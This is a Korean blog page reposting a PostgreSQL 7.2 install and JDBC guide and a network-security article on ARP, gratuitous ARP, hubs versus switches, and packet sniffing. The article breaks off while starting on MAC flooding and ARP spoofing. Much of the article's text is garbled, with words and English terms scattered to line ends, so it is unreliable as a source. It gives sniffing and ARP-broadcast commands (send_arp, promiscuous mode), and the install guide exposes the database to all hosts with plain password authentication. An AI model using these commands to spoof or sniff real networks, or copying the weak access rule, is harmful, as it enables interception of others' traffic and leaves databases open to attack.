RSS구독하기:SUBSCRIBE TO RSS FEED
즐겨찾기추가:ADD FAVORITE
글쓰기:POST
관리자:ADMINISTRATOR
'2006/09/08'에 해당되는 글 143
출처 블로그 > 일기와 개발백서입니다.
원본 http://blog.naver.com/baltasar/100002719983

2년 전에 작성해놨던 문서인데 내용이 워낙 부실해 공유를 할까말까 하다가 제 블로그에 공유하게 되는군요.


----------------------------------------------------------------------------------------


리눅스상에 Postgres 설치해서 JDBC 셋팅하기

* 준비사항
jdk1.3.X(postgres 7.2.2에서는 jdk1.4를 사용할 경우 컴파일 에러가 납니다.)
jakarta ant
j2sdkee
postres 7.2.2 소스버전


1. http://www.postgresql.org에서 postgres를 소스 버전으로 다운 받는다.
  요즘 유행하는 패키지(RPM)를 구하긴 했었는데 의존성 문제로 포기했음.
  예전에 의존성 문제로 죽는줄 알아서 -_-

2. 루트계정으로 접속해 소스 압축을 풀어준다.
  /usr/local/tar xzvf postgresql-7.2.1.tar.gz

3. 설치 하기 전에 환경 설정해주기
  위치는 /usr/local/pgsql로 odbc와 jdbc 드라이버를 함께 설치해야 함.
  그리고 jdbc드라이버의 컴파일을 ant로 하기 때문에 ant가 깔려있어야 합니다.
  ./configure --prefix=/usr/local/pgsql --enable-locale --enable-multibyte --enable-nls --enable-odbc --with-java
  (enable-multibyte 안하시면 UTF-8 개발 쫑~ 입니다.)

4. 컴파일
  gmake

5. 컴파일 검사. (본인은 DB 초기화시에 에러가 났으나 문제는 없음)
  gmake check

6. 설치
  gmake install

여기서 끝난게 아닙니다.
관리 계정을 추가하고 공유라이브러리를 셋팅하고 DB스페이스(거대한 통짜DB)와 사용자별DB를 생성해야 합니다.
7. 관리 계정 추가하기
  adduser postgres

8. 공유라이브러리 셋팅하기
  bash의 경우 .bash_profile에 다음과 같이 설정합니다.
  LD_LIBRARY_PATH=/usr/local/pgsql/lib
  export LD_LIBRARY_PATH
  쉘 상에서 여러명이 DB를 사용할테니 /etc/profile에 설정하는게 좋겠죠?

9. DB스페이스 생성하기
  DB스페이스가 설치될 디렉토리를 만들고
  mkdir /usr/local/pgsql/data
 
  DB스페이스 디렉토리의 소유자를 관리 계정으로 바꾸고
  chown postgres /usr/local/pgsql/data

  계정을 관리 계정으로 바꿔서
  su -l postgres

  DB스페이스를 생성합니다.
  /usr/local/pgsql/bin/initdb -E EUC_KR -D /usr/local/pgsql/data
-E옵션은 한글 정렬을 위해 반드시 넣어야 합니다.


제대로 설치했다면 다음과 같은 메세지가 뜰 겁니다.
[zodiac:postgres]~ # /usr/local/pgsql/bin/initdb -E EUC_KR -D /usr/local/pgsql/data
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.

Fixing permissions on existing directory /usr/local/pgsql/data... ok
creating directory /usr/local/pgsql/data/base... ok
creating directory /usr/local/pgsql/data/global... ok
creating directory /usr/local/pgsql/data/pg_xlog... ok
creating directory /usr/local/pgsql/data/pg_clog... ok
creating template1 database in /usr/local/pgsql/data/base/1... ok
creating configuration files... ok
initializing pg_shadow... ok
enabling unlimited row size for system tables... ok
creating system views... ok
loading pg_description... ok
vacuuming database template1... ok
copying template1 to template0... ok

Success. You can now start the database server using:

   /usr/local/pgsql/bin/postmaster -D /usr/local/pgsql/data
or
   /usr/local/pgsql/bin/pg_ctl -D /usr/local/pgsql/data -l logfile start

만약 사용자를 바꾸는걸 깜빡 했다면
[zodiac:postgres]/usr/local # /usr/local/pgsql/bin/initdb -D /usr/local/pgsql/data
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.

creating directory /usr/local/pgsql/data... mkdir: cannot create directory `/usr/local/pgsql/data': 허가 거부됨

initdb failed.
아마도 이런 메세지가 뜨겠지요.

자 그럼 DB를 시작시켜 봅시다.
DB를

* 시작하기
/usr/local/pgsql/bin/postmaster -i -D /usr/local/pgsql/data
-i옵션은 TCP/IP접속을 허용합니다. 외부에서 접속한다면 당연히 해야겠죠?

매번 하기 귀찮으면 관리 계정의 .bash_profile에 다음과 같이 설정합니다.
export PGDATA=/usr/local/pgsql/data
그러면 다음부터는
/usr/local/pgsql/bin/postmaster -i
이것만 하셔도 DB가 시작됩니다.

* 중지하기
pgsql/bin/pg_ctl stop
이전 버전에 따라서는 그냥 kill 시켜야 되는 것도 있습니다.

10. 인제 진짜 마지막입니다.
물리DB를 계정별로 쪼개 쓸 논리공간을 할당을 해야 합니다.
관리 계정으로 /usr/local/pgsql/bin으로 이동해서 사용자 DB를 만듭시다.
/usr/local/pgsql/bin/createdb postgres
만약 DB를 시작하지 않고 사용자 DB를 만들었다면 다음과 같은 메세지가 뜹니다.
[zodiac:postgres]/usr/local/pgsql/bin # createdb postgres
psql: could not connect to server: Connection refused
       Is the server running locally and accepting
       connections on Unix domain socket "/tmp/.s.PGSQL.5432"?
createdb: database creation failed

그리고 이전에 postgres를 설치하셨던 분들이 자주 부딪치는 에러는..
[zodiac:postgres]/usr/local/pgsql/bin # ./postmaster
FATAL 1:  Can't read lock file /tmp/.s.PGSQL.5432.lock: Permission denied

루트로 접속 후 /tmp에 가서 .s.PGSQL로 시작되는 파일을 전부 제거해 주시면 해결됩니다.

그다음에 JDBC 드라이버 사용을 위해 /etc/profile에 classpath를 추가합니다.
추가항목: /usr/local/pgsql/share/java/postgresql.jar

11. 연습으로 쓰실거라면 이게 전부지만..
서비스를 한다면 접속부분을 정의해야 되겠죠?
그러기에 앞서 pgsql을 실행하고 관리계정의 암호를 지정해 줍니다.

alter user postgres with password '패스워드';

그리고 psql터미널을 종료한 후
pgsql/data/pg_hba.conf의 접속옵션 부분을 다음과 같이 변경합니다.
(postgres는 초기설정상 패스워드 입력으로는 터미널 접속을 불허하도록 되어 있습니다.)

local        all          all                                            password
host         all          all          0.0.0.0       0.0.0.0             password

그다음에 pgsql/bin/pg_ctl reload를 수행해 갱신합니다.
그러면 그다음 부터는 접속시 패스워드를 넣어야 접속이 가능해집니다.

이상으로 설치를 마칩니다.




위의 설정에서 내부 로케일 변환 문제가 발생되었습니다.

설치시 다음과 같이 변경하세요.

// 현재 시스템의 한글 설정상태 확인

[server1:main]~ # echo $LANG
ko_KR


//db 초기화에 다국어 셋팅하기

[server1:main]~ # initdb -no-locale --lc-collate=C -E utf-8


[server1:main]~ # createdb -E utf-8 testdb


이렇게 하면 클라이언트 터미널에서 문제가 생길겁니다.

다음과 같이 셋팅하여 UTF-8을 클라이언트에서 지원하도록 합시다.

set client_encoding = 'uhc';

2006/09/08 22:43 2006/09/08 22:43
이 글에는 트랙백을 보낼 수 없습니다
Hacking  2006/09/08 22:43
출처 블로그 > ♡ 나의 라임 오렌지 나무 ♡━˚
원본 http://blog.naver.com/joan7636/120012356815

네트워크 통신의 비밀 ARP
웹브라우저를 띄운 후 아무 생각없이 접속하는 도메인 예 이지만 실제로 이 ( :www.tt.co.kr)
도메인 네임은 내부적으로 에 의해 주소로 바뀌어 로 접속이 되는 것이다 과연 DNS IP IP .
그것이 다인가 그렇지 않다 실제로 요청은 다시 라는 프로토콜에 의해 주 ? . IP ARP MAC
소라는 하드웨어 주소로 변경된 후 접속이 되는 것이다 이 과정은 그리 복잡하지는 않지만 .
이 과정을 제대로 이해하지 않고서는 네트워크 보안 을 이야기 할 수 없을 정도로 많은 것 “ ”
들을 놓치게 된다 실제로 를 이용한 해킹은 그리 낯선 방법도 어려운 방법도 아니다 . ARP .
이번 호에서는 많은 사람들이 그 중요성을 놓치고 있는 구간에서의 통신 프로토콜인 LAN
와 이와 관련하여 숨겨져 있는 재미있는 사실들에 대해 알아보도록 하자 ARP .
오늘과내일 넷센터 홍석범(antihong@tt.co.kr)
과 WAN LAN
흔히들 일상적인 네트워크 구간을 크게 구간과 WAN(Wide Area Network) LAN(Local
구간으로 나눈다 흔히 이러한 과 구간을 나누는 장비로는 게이 Area Network) . WAN LAN
트웨이 역할을 하는 라우터가 담당하는데 혹시 라우터라는 장비를 보신 분들도 있을지 모 ,
르겠지만 라우터라는 장비를 보면 적게는 두 개에서 많게는 몇 십개까지의 많은 인터페이스
랜카드 로 이루어져 있는 것을 볼 수 있을 것이다 이 인터페이스들은 담당하는 역할에 따 ( ) .
라 구간을 담당하는 시리얼 인터페이스와 구간을 담당하는 이더넷 WAN (Serial) LAN
인터페이스로 나눌 수 있다 따라서 흔히들 구간을 시리얼 구간 (Ethernet) . WAN , LAN
구간을 이더넷 구간이라 부르기도 한다 구간에서는 라우터와 라우터간에 서로 약속 . WAN
한 라우팅 프로토콜을 이용해 통신을 하게 되는데 이를테면 전세계적으로 간에 연동시 ,( ISP
에는 라는 프로토콜을 이용하여 연동한다 이에 대해서는 홈페이지등 라우팅 BGP . CISCO
관련 서적을 참고하기 바란다 그렇다면 구간에서는 어떤 프로토콜을 이용하여 서로 .) LAN
통신하게 될까 그렇다 바로 이다 ? . ARP . “ ”
ARP
는 의 약자로서 마치 가 도메인 주소를 주소 ARP Address Resolution Protocol DNS IP
로 바꾸어주는 것처럼 주소를 주소로 변환해 주는 프로토 IP MAC(Media Access Control)
콜이다 그렇다면 주소는 또 무엇인가 주소는 각 이더넷 카드마다 유일한 하드 . MAC ? MAC
웨어 주소로서 이 정보는 리눅스의 경우 로 윈도우즈의 경우 로 확 ifconfig , ipconfig /all
인할 수 있다.
는 일반 유저들에게는 그리 친숙하지 않은 단어이지만 이 프로토콜은 로컬 네트워크의 ARP
매우 중요한 규약이며 를 이해하여야만이 네트워크의 보안을 설명할 수 있을 정도로 ARP
반드시 숙지하여야 할 중요한 프로토콜이다.
와 DNS ARP
를 쉽게 이해하기 위해 아래 그림과 같이 자신의 에서 인터넷을 접속하는 경로를 생 ARP PC
각해 보자 자신의 에서 브라우저를 실행하여 을 입력한 후 엔터를 치면 . PC www.tt.co.kr
해당 도메인의 웹 페이지가 접속이 된다 너무 당연한 것 같은 이 절차는 실제로 어떠한 경 .
로를 통해 접속이 되는 것일까 다소 지루할 지 모르겠지만 전체 네트워크를 이해하기 위해 ?
처음 과정부터 거슬러 올라가 보도록 하자.
자신의 브라우저에서 도메인명을 입력하면 이 요구는 제일 먼저 자신의 에서 설정한 PC
서버 이 서버를 편의상 라 하자 로 가게 된다 서버는 DNS ( DNS Client DNS .) . Client DNS
의 요구 도메인을 주소로 변환 를 받아 자신 스스로가 위임 권 www.tt.co.kr Resolving ( IP )
한이 있는지 즉 자신의 파일에 질의한 도메인이 정의되어 있는지 여부를 ( , /etc/named.conf )
확인하여 없을 경우에는 질의한 도메인에 대한 캐싱이 있는지 여부를 확인하고 있을 경우 ,
바로 해당 정보를 넘겨주지만 없을 경우에는 소위 서버라는 최상위 서버에 질의 root DNS
를 하게 된다 일반적으로 웹 접속시 이라고 입력하지만 실제로 엄격히 . http://www.tt.co.kr
이야기한다면 와 같이 주소의 제일 끝에 을 붙이는 것이 맞는 것이 http://www.tt.co.kr. .
다 여기에서 주소 제일 끝에 있는 을 서버로 부른다 서버는 전 세계적으로 . . root . root 13
개가 있으며 만약 서버에 장애가 생기면 전 세계의 인터넷은 마비가 되고 말 것이다 root .
여하튼 질의를 받은 서버는 질의한 도메인의 주소가 인 것을 보고 을 관장하는 root .kr .kr
서버는 한국 전산원의 서버라는 답을 해 주고 이 답을 받은 서버는 DNS DNS Client DNS
한국 전산원의 서버에 다시 을 질의하게 된다 이 질의를 받은 한국 전 DNS www.tt.co.kr .
산원의 서버는 질의한 도메인이 인 것을 보고 이번에는 을 관장하는 DNS .co.kr co.kr
서버에 다시 질의하라고 응답하고 이 응답을 받은 서버는 다시 을 DNS , Client DNS co.kr
관장하는 서버에 을 질의하게 된다 이 질의를 받은 서버는 DNS www.tt.co.kr . DNS
을 보고 이 도메인을 관장하는 서버는 이라는 것을 알려주게 되고 tt.co.kr DNS ns1.tt.co.kr
이 응답을 받은 서버는 최종적으로 에게 을 질의하여 Client DNS ns1.tt.co.kr www.tt.co.kr
이라는 주소를 알게 되어 이 주소를 요청한 에게 알려주게 된다 211.47.65.1 IP PC .
참고로 이와 같이 서버부터 시작해서 위임 권한이 있는 각 서버로 내려오면서 root DNS
반복적인 질의를 하는 방법을 이라 한다 recursion .
그림 의 예 < 1> DNS recursion
서버로부터 주소를 받은 는 자신의 라우팅 정보에 따라 이 요구를 에 Client DNS IP PC PC
설정되어 있는 게이트웨이 즉 라우터로 넘긴다 이 요청을 받은 라우터는 라우터 자신의 , .
라우팅 프로토콜에 따라 가장 최적화된 비용이 적은 여러 라우터를 경유하여 접속하려는 ( )
서버가 위치한 최종 라우터까지 다다르게 된다 이 경로는 자신의 윈도우즈 의 경우 도 . PC
스 프럼프트에서 목적지 나 리눅스등의 유닉스 계열의 서버일 경우 tracert -d “ ”
목적지 로 확인할 수 있다 "traceroute -n " .
내부 네트워크에서의 통신원리
이제 해당 서버가 있는 라우터에서부터는 구간이므로 앞에서 이야기한대로 가 LAN ARP
작동하게 된다 이 부분을 아래와 같이 간단히 도식화하였고 라우터 하단에는 아래와 같이 .
각각의 주소에 해당하는 주소가 각각 IP MAC 192.168.1.1(AA:AA), 192.168.1.2(BB:BB),
인 시스템이 있다고 약식으로 가정하였다 192.168.1.3(CC:CC) .
그림 내부 네트워크 구성도 < 2>
만약 라우터를 통해 접속하려는 요구가 서버인 이라면 여기에서부터 가 A 211.47.65.1 ARP
작동하게 된다 그런데 구간에서는 서버의 주소를 알아야 통신을 할 수 있는데 . , LAN MAC ,
라우터는 의 주소를 아직 모르기 때문에 라우터에서는 밑단의 네트워크에 211.47.65.1 MAC
대해 인 서버는 주소를 알려 달라는 패킷 이 패킷에는 라 211.47.65.1 MAC Broadcasting (
우터의 소스 주소와 소스 정보를 포함하고 있다 을 보내게 된다 이 패킷은 라우터 IP MAC .) .
하단의 모든 서버들이 받게 되며 이 패킷의 목적지 가 자신이 아닌 나 서버는 이 요 IP B C
청에 대해 응답하지 않으며 이 요청을 받은 서버 가 는 자신의 주소 A (IP 211.47.65.1) MAC
를 적은 패킷을 라우터에게 즉 요청을 한 라우터에게만 로 응답하게 된다 이 Unicast( , arp ) .
렇게 해서 라우터와 서버는 서로의 정보를 알게 되었으므로 드디어 통신을 할 수 A MAC
있게 되었다 아래는 실제 로컬 랜상의 가 실시간으로 하고 있음을 . arp broadcasting
로 캡처한 예이다 아래에서 보는 것처럼 요청 은 tcpdump . arp (arp who-has)
을 하지만 응답 은 즉 를 요청한 에게만 응답 Broadcasting arp (arp reply) Unicast( arp IP )
하는 것을 알 수 있다 참고로 아래 그림에서 를 하는 패킷이 하나가 아니라 몇 . arp reply
개 있는 것은 이 시스템의 환경이 이기 때문이다 이에 대해서는 아래에서 다시 설 dummy .
명하기로 한다.
그림 를 로 잡은 모습 < 3> arp broadcast tcpdump
와 ARP CACHE Gratuitous ARP
그런데 이렇게 한 번 접속할 때마다 매번 을 하고 를 해야 한다면 , arp broadcasting reply
그만큼 불필요한 프로세스가 발생하게 되고 많은 오버헤드가 유발될 것이다 따라서 라우터 .
및 서버등 각 장비에서는 와 를 한 후에는 이 정보를 바로 폐기하지 않 arp broadcast reply
고 일정 시간동안 캐시를 하게 된다 기종과 계열에 따라 다소의 차이는 있지만 많은 데이 .
터의 교환이 있는 라우터는 통상 시간 서버는 초 동안 캐시를 하게 된다 리눅스의 경 4 , 60 .
우 현재 시스템에서의 캐시는 아래와 같이 확인 결과 초로 설정되었다는 것을 알 수 있 60
으며 튜닝 으로 이 값을 적절히 조절할 Soft Kernel (sysctl -w kernel_parameter=value)
수 있다.
# sysctl -a|grep gc_stale_time
net.ipv4.neigh.eth0.gc_stale_time = 60
net.ipv4.neigh.lo.gc_stale_time = 60
net.ipv4.neigh.default.gc_stale_time = 60
현재 리눅스 시스템의 캐시정보는 아래와 같이 를 입력하면 된다 arp arp -a .
그림 캐시 정보 확인 < 4> arp
아래와 같이 라우터에서도 를 캐시하고 있는 것을 확인할 수 있다 arp .
그림 라우터의 캐시 < 5 > arp
여기에서 주의할 점은 는 내부 에서만 의미가 있으므로 라우터를 벗어난 , arp LAN WAN
구간에서는 의미가 없으며 구간에서도 브로드 캐스팅 도메인 영역에서만 의미가 있다 LAN
는 것이다 따라서 캐시는 해당 서버에 접근하는 모든 클라이언트나 서버에 대해서 캐 . arp
시하는 것이 아니라 로 되어 있을 경우 해당 영역 위의 경우 C Class netmask (
대역 만 캐시하는 것을 볼 수 있다 가끔 여러분의 서버나 의 이더넷 카드 211.47.65.0 ) . PC
를 변경하였을 때 바로 인식이 되지 않고 빠르면 몇 분 길게는 몇 시간까지 기다린 후에야 ,
네트워크가 다시 작동하는 것을 경험해 보았을 것이다 이를테면 이더넷 카드를 기존의 .
에서 계열로 바꾸었고 커널에서도 잘 인식이 되었다 모듈도도 해 보 RealTek 8139 3com , .
고 커널에 정적으로 포함시켜 보기도 하고 분명 시스템에서는 정상적으로 이더넷 카드를 ,
인식하고 설정도 전혀 문제가 없는데 네트워크가 작동하지 않는 경우가 있다 왜 그럴까 , . ?
이제 여러분은 이 이유를 알 수 있을 것이다 그렇다 바로 캐시 때문이다 앞에서 라우 . . arp .
터는 평균 시간정도 를 캐시한다고 말했다 따라서 이더넷 카드를 변경했다면 해당하 4 arp .
는 에 대한 주소가 변경되었는데 라우터에서는 이전의 정보를 캐시하고 있는 것 IP MAC ,
이다 즉 의 주소를 이 아닌 이전의 으로 인식하고 있는 . , 211.47.65.1 MAC 3com RealTek
것이다 따라서 외부에서 라우터를 통해 로 접속 요구가 들어왔을 때 라우터는 . 211.47.65.1
이전의 정보인 주소를 가지고 있는 서버를 찾는데 이미 은 AA:AA MAC , 211.47.65.1
의 주소인 로 변경되었고 기존의 주소는 존재하지 않기 3com MAC HH:HH AA:AA MAC
때문에 접속할 수 없게 되는 것이다 만약 이더넷 카드를 변경 후 바로 네트워크가 되었다 .
면 다행히 캐시가 작동하지 않았거나 캐시 시간이 짧았기 때문이었을 것이다 그런데 arp .
캐시 때문에 캐시가 업데이트 될 때까지 무작정 기다리기만 해야 한다면 너무 불합리 arp
하지 않은가 당장 서비스도 중지없이 해야 하는데 말이다 ? .
이를 위해서는 라는 것을 사용하면 된다 는 로컬 랜상의 Gratuitous arp . gratuitous arp
캐시 정보를 업데이트하는 로서 이를 실행하면 모든 캐시 정보를 바로 업데이트 arp arp
할 수 있다 리눅스에서는 라는 실행파일을 이용하면 되며 이 실행 파일은 클러 . send_arp
스터링 패키지인 라는 패키지에 포함되어 있다 piranha .
사용 방법은 인데 만약 send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr ,
디렉토리에 실행 파일이 있고 의 정보를 기존의 /usr/sbin send_arp 211.47.65.1 MAC
에서 로 변경하여 이 정보를 업데이트하려면 아래와 같이 실행하면 될 것이 AA:AA HH:HH
다.
# /usr/sbin/send_arp 211.47.65.1 HHHH 211.47.65.255 ffffffffffff
위와 같이 실행하면 즉 대역의 서버중 에 대한 211.47.65.255 211.47.65.0 211.47.65.1
캐시를 가지고 있는 모든 서버에 대해 의 주소는 로 업데이 arp 211.47.65.1 MAC HH:HH
트하라고 브로드 캐스트하는 것이다 이를 실행하면 라우터를 포함하여 모든 네트워크 장비 .
가 캐시를 업데이트하며 네트워크가 다시 작동하는 것을 확인할 수 있을 것이다 참고 arp .
로 자신의 정보는 아래와 같이 를 실행하면 확인할 수 있다 MAC ifconfig .
그림 주소의 확인 < 6> MAC
실제로 를 이용하면 한 서버가 다운시 다른 서버가 대신 서비스하는 클러스 gratuitous arp
터링의 용도로도 사용되며 매우 유용한 프로그램이라 할 수 있다 이외 와 관련하여 . ARP
라는 것도 있는데 이는 가 기존의 캐시를 다른 정보로 업데이 Unarp , Gratuitous arp arp
트하는 것이라면 는 기존의 캐시가 있는 시스템이 있다면 단지 캐시를 삭제 Unarp arp arp
만 하는 것이다 따라서 접속할 때마다 가 변하는 등의 의 경우는 접속을 끊 . IP ADSL DHCP
을 때 를 하고 를 할당받아 네트워크를 시작할 때에는 Unarp Broadcasting , IP Gratuitous
를 실행하면 캐시로 인하여 접속이 되지 않는 문제는 해결이 될 것이다 arp arp .
이렇듯 는 매우 유용하지만 다른 한편으로 악용될 경우에는 쉽게 다른 시스 gratuitous arp
템을 무력화시킬 수 있는 무서운 공격 프로그램이 될 수 도 있다는 점을 양지하기 바란다.
와 허브 Switch Dummy
이번에는 로컬구간에서의 통신에 대해 알아보도록 하자.
많은 사람들은 네트워크의 보안을 위해 더미 허브대신 스위치를 사용하라고 권장한다 LAN .
과연 그런가 실제로 스위치는 애초에 디자인시 보안을 고려했기 보다는 를 ? Performance
염두해 두고 개발된 것인데 어떻게 하다보니 우연히 더미 허브에 비해 보안에 좋 , (Dummy)
은 것 뿐이지 반드시 그러한 것은 아니다 그럼 여기서 잠깐 더미허브와 스위치의 차이에 . ,
대해 알아보도록 하자 더미 허브와 스위치는 일반적으로 차선의 개념과 연관지어 생각하면 .
쉽다.
그림 의 개념 < 7> Switch
스위치의 경우 위와 같이 이 차선이면 도 차선인 개념이다 반면에 더미 허브 input 4 output 4 .
는 은 차선이지만 은 차선인 개념이므로 당연히 에서 병목현상이 발 input 4 output 1 output
생할 수밖에 없게 된다 이때 병목 현상으로 인하여 동시에 에 도달하려면 필연적으 . output
로 충돌 이 생기게 되어 결국 속도 저하가 발생하게 된다 리눅스에서 특정 인터 collision( ) .(
페이스의 여부는 로 확인할 수 있다 그런데 이러한 속도 저하보다는 collision ifconfig .) ,
좀 더 중요한 차이점이 있다 즉 스위치는 지정된 로 패킷을 바로 포워딩해 주지만 더미 . , IP
허브는 모든 패킷을 모든 포트에 한다는 것이다 그럼 여기에서 각각 더미허브 broadcast .
및 스위치 환경에서 데이터가 통신하는 경로에 대해 다시 생각해 보자.
# Dummy
더미 환경에서 서버와 서버가 과 같은 통신을 한다면 서버에 (dummy) A C telnet TCP , A
서는 제일 먼저 을 하게 된다 이때 이 요청은 이므로 ARP Broadcasting . Broadcasting B,
모두에게 전달된다 이중 서버는 목적지 가 자신의 가 아니므로 이 요청에 C . B ARP IP IP
응답하지 않고 서버는 목적지가 자신의 이므로 이 요청에 대하여 요청을 한 서버에 C IP A
게 를 한다 그러나 환경에서는 모든 패킷이 하므로 서 ARP reply . dummy broadcast B
버에서도 서버의 응답을 캡처할 수 있다 이는 위의 그림에서 확인하였 C unicast .( tcpdump
다 와 간에 와 를 한 후에는 통신을 하려고 하므로 본격적 .) A C ARP broadcast reply TCP
인 데이터 교환을 하기 전에 과정을 선행하게 된다 TCP 3 Way handshake .
그림 < 8> TCP 3 way handshake
과정은 위 그림에서와 같이 서버와 클라이언트간에 위 가지 절차 tcp 3 way handshake 3
를 거친 후에야 연결이 성립되어 데이터가 교환된다는 것을 익히 알고 있을 것이다 그런 .
데 에서는 위 뿐만이 아니라 이후의 모든 데이터 , dummy 3 way handshake Connection
교환 역시 하게 된다 아래에서는 서버에서 서 broadcast . 211.47.65.106 www35.tt.co.kr
버로 접속시 반응하는 패킷을 서버에서 로 잡은 예이다 telnet www35.tt.co.kr tcpdump .
에서 보는 것처럼 먼저 통신이 되어 서버의 정보를 교환한 후에야 비로 tcpdump arp MAC
서 가 이루어지는 것을 확인할 수 있을 것이다 만약 한번 시도를 한 3 way handshake .
후에는 캐시가 있으므로 캐시가 있는 상태에서 재시도를 하면 요청과 절차 arp arp reply
가 없이 바로 가 이루어지는 것을 그림 에서 확인해 볼 수 있다 3 way handshake < 10> .
그림 가 없을때의 < 9> arp cache tcpdump
그림 가 있을때의 < 10> arp cache tcpdump
# switch
환경에서 서버와 서버가 과 같은 통신을 한다면 서버에서는 switch A C telnet TCP A C
서버의 주소를 알기 위해 먼저 을 한다 이때 이 요청은 MAC ARP Broadcasting .
이므로 모두에게 전달된다 이중 서버는 목적지 가 자신이 아 Broadcasting B, C . B ARP IP
니므로 이 요청에 응답하지 않고 서버는 목적지가 자신의 이므로 이 요청에 대하여 , C IP
요청을 한 서버에 를 한다 여기까지는 스위치나 환경이 동일하다 그 A ARP reply . dummy .
러나 환경에서는 이외의 모든 패킷이 하지 않으므로 switch arp broadcast broadcast B
서버에서는 서버의 응답을 캡처할 수 없다 와 간에 와 C unicast . A C ARP broadcast
를 한 후에는 통신을 하려고 하므로 본격적인 데이터 교환을 하기 전에 reply TCP TCP 3
과정을 거치게 된다 와 간에 서로의 정보를 교환한 후에는 서 Way handshake . A C MAC
로의 주소를 알기 때문에 뿐만이 아니라 이후의 모든 MAC 3 way handshake connection
데이터 교환 역시 하지 않고 와 간에만 통신을 하게 되며 에서는 와 broadcast A C B A C
간의 통신을 엿볼 수 없게 된다.
즉 환경에서는 요청과 응답 , dummy (1) arp
(2) tcp 3 way handshake
데이터 교환 (3)
이 모든 과정이 되어 에서도 와 간의 통신을 엿볼 수 있으나 broadcasting B A C
환경에서는 요청만이 하며 switch (1) arp broadcasting
응답 (2) arp
(3) tcp 3 way handshake
데이터 교환 모두 와 간에 로 작동하기 때문에 (4) A C unicast
에서는 와 간의 통신을 엿볼 수 없게 된다 B A C .
여기에서 처럼 자신을 출발지 또는 목적지로 하지 않은 와 간의 통신을 엿보는 일 B A C (?)
련의 행위을 스니핑 한다고 한다 (Sniffing) .
스니핑(Sniffing)
그렇다면 스니핑은 어떻게 가능한가?
크게 두 가지 이유로 가능하다 첫 번째는 위에서 본 것처럼 환경에서는 모든 패킷 . dummy
을 하여 직접적인 통신과는 관계없는 다른 나 서버에서도 다른 시스템의 패 broadcast PC
킷을 캡처할 수 있다는 특성을 이용한 것이고 두 번째는 인터넷의 표준 프로토콜로 사용중 ,
인 의 전송 방식이 암호화하지 않은 평문 를 사용한다는 점을 이용한 것 TCP/IP Plain text( )
이다 그렇다고 해서 방식으로 한다고 바로 모든 패킷을 스니핑 . Plain text broadcasting
할 수 있는 것은 아니다 왜냐하면 기본적으로 목적지 가 자신의 가 아닌 패킷은 이더 . IP IP
넷에서 패킷을 드롭 하는 특성이 있기 때문이다 이처럼 스니핑을 하려면 자신의 목적 (drop) .
지가 아닌 패킷도 받아들여야 하는데 그렇게 하려면 인터페이스가 또는 , promiscuous (
모드로 작동하도록 설정하여야 한다 모드는 우리말로 무차별 모드 라 promisc) . promisc “ ”
고도 하는데 모드로 설정되면 이더넷에서 패킷을 드롭하지 않고 모든 패킷을 다 , promisc
받아들이게 되어 스니핑이 가능하게 된다 리눅스에서 인터페이스가 모드인지 여 . promisc
부를 알 수 있는 명령어는 앞에서 본 것처럼 라는 명령어로 확인 가능하다 이때 ifconfig .
아래와 같이 라는 문자열이 보이면 인터페이스는 모드로 되어 있는 것 PROMISC promisc
인데 모드를 수동으로 설정하려면 , promisc
와 같이 하면 되고 설정을 해제하려면 # ifconfig eth0 promisc ,
로 실행하면 된다 # ifconfig eth0 -promisc .
그림 설정 여부 확인 < 11> promisc
특별한 이유가 없다면 평상시에는 모드로 설정되어 있을 필요가 거의 없으므로 만 promisc
약 자신의 시스템이 모드로 설정되어 있다면 스니핑 여부를 주의깊게 검토해 보아 promisc
야 할 것이다 그러나 시스템에 따라 자동으로 로 설정하는 경우도 있으니 . promisc
로 설정되어 있다고 해서 반드시 스니핑이 작동하고 있는 것은 아니라는 것을 참고 promisc
하기 바란다.
스니핑에 대한 대책
그렇다면 이에 대한 대책은 무엇인가 가지 정도의 방법을 대안으로 제시할 수 있겠다 ? 3 .
첫 번째는 로 전송되는 대신 암호화 전송 프로토콜을 사용하는 것이다 , Plain text TCP/IP .
이의 대표적인 예가 대신 대신 웹서버 등을 사용하는 것이 그 telnet SSH, http https(SSL )
예이다 여기서 잠깐 에 대해 이야기하고자 한다 적지 않은 사람들이 보안 웹서 . SSL . SSL
버를 설치하면 마치 방화벽처럼 모든 보안에 완벽해 지는 것으로 오해하는 경우가 있는데,
은 번 포트를 사용하는 프로토콜 역시 에 속하므로 평문으로 전송되어 SSL 80 http TCP/IP
스니핑 될 수 있기 때문에 기존의 대신 암호화 전송 프로토콜인 을 사용하는 것 http SSL
뿐이지 다른 것은 아닌 것이다 아마도 보안 웹서버라는 이름 때문에 다소 혼동하는 것이 .
아닌가 한다.
두 번째는 앞에서 본 것처럼 을 하는 대신 스위치를 사용하는 것이다 broadcasting dummy .
세 번째는 기업간 통신시 암호화된 통신을 하는 가상 사설망인 VPN(Virtual Provate
을 사용하는 것이다 Network) .
이 중 가장 근본적인 방법은 첫번째로 제시한 암호화 전송 프로토콜을 사용하는 것이다.
여기에서 잠깐 두 번째 방법으로 제시한 대신 스위치에 대해 알아보도록 하자 앞 dummy .
에서 본 대로 스위치를 사용할 경우 초기 요청시에만 하고 이후 arp broadcast broadcast
에는 모두 로 통신하므로 상대적으로 스니핑에 안전하다는 것을 이해했을 것이다 unicast .
하지만 과연 스위치를 사용한다면 스니핑에 안전할까 답은 결코 그렇지 않다 이다 왜냐 ? . . “ ”
하면 쉽지는 않지만 스위칭 환경에서도 스니핑을 할 수 있는 방법이 있기 때문이다 바로 .
의 특성을 이용하여 아래와 같은 몇 가지 방법이 가능하다 arp .
스위치 환경에서도 가능한 스니핑 기법
(1) MAC Flooding
스위치에서는 각각의 포트에 해당하는 물리적인 주소를 기억하고 있는데 이 메모리에 MAC
는 어느 정도의 한계치가 있다 이러한 스위치의 특성을 이용하여 위조된 을 지속적으 . MAC
로 발생시켜 스위치의 테이블을 시키는 방법으로 정보가 되면 스 ARP Flood MAC Flood
위치는 마치 처럼 모든 포트에 하게 된다 보안적인 용어로 이러한 것을 dummy broadcast .
이라 한다 fail open . “ “
(2) ARP Spoofing
은 스니핑하고자 하는 서버인 것처럼 을 위조한 패킷을 하여 ARP Spoofing MAC Broadcast
트래픽을 포워딩하는 것을 말하는데 앞의 그림 와 같은 스위치 환경에서 서버가 와 , 2 B A C
서버간의 통신을 스니핑 할 수 있는 방법으로 아래와 같이 의 원리만 알면 아주 쉽게 ARP
